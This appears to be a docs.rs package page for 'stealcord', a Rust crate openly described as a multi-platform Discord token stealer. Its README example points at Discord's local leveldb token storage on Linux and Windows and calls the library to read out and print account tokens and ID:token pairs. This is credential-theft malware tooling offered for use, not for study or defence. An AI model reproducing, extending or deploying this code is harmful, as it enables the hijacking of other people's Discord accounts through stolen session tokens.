stealcord 0.1.0

Multi platform Discord token stealer library
Documentation
  • Coverage
  • 66.67%
    2 out of 3 items documented0 out of 2 items with examples
  • Size
  • Source code size: 5.54 kB This is the summed size of all the files inside the crates.io package for this release.
  • Documentation size: 309.76 kB This is the summed size of all files generated by rustdoc for all configured targets
  • Ø build duration
  • this release: 21s Average build duration of successful builds.
  • all releases: 21s Average build duration of successful builds in releases after 2024-10-23.
  • Links
  • Thoxy67/stealcord
    2 1 0
  • crates.io
  • Dependencies
  • Versions
  • Owners
  • Thoxy67

stealcord

Multi platform Discord token stealer library written in Rust.

Example

// Import necessary libraries
use simple_home_dir::*;
use stealcord::{get_token, get_tokens};

fn main() {
    // Set path to Discord token storage
    let path = home_dir().unwrap().join(if cfg!(target_os = "linux") {
        // Linux
        ".config/discord/Local Storage/leveldb/"
    } else {
        // Windows
        "\\AppData\\Roaming\\Discord\\Local Storage\\leveldb"
    });

    // Get only token
    if let Ok(token) = get_token(path.clone()) {
        // Print token
        println!("{token}")
    } else {
        // Print error message
        panic!("Error getting token")
    }

    // Get ID : Token
    if let Ok(tokens) = get_tokens(path.clone()) {
        // Print tokens
        println!("{tokens}")
    } else {
        // Print error message
        panic!("Error getting tokens")
    }
}

License

This project is licensed under the MIT License - see the LICENSE file for details.